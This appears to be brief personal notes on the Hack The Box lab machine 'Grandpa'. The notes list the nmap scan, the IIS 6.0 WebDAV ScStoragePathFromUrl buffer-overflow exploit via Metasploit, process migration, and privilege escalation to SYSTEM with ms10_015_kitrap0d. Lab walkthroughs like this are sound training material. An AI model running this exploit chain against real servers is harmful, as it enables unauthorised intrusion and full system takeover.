Grandpa
use exploit/windows/iis/iis_webdav_scstoragepathfromurl set rhost 10.10.10.14 set lport 5555 show targets runsearch suggester use 0 options set session 1 run
Last updated
HTB 9. Grandpa
nmap -T4 -A -p- 10.10.10.14 shows 80 open with version Microsoft IIS httpd 6.0 (dated version) and poentially risky methods (TRACE and `PUT)
Go to 10.10.10.14 shows "Under Construction" page.
Google Microsoft IIS httpd 6.0 exploit finds Microsoft IIS 6.0 - WebDAV 'ScStoragePathFromUrl' Remote Buffer Overflow and Rapid7.
searchsploit ScStoragePathFromUrl shows python and ruby modules.
Metasploit
use exploit/windows/iis/iis_webdav_scstoragepathfromurl
set rhost 10.10.10.14
set lport 5555
show targets
runTry running again (4 times)
We are not system. ps to show processes. Pick a process that has NT AUTHORITY\NETWORK SERVICE with migrate 1788 and success.
Priv esc suggester:
search suggester
use 0
options
set session 1
runResult: 9 options, go down list and try to see what works
start with ms10_015_kitrap0d and set lhost tun0
getuid is NT AUTHORITY\SYSTEM.
Last updated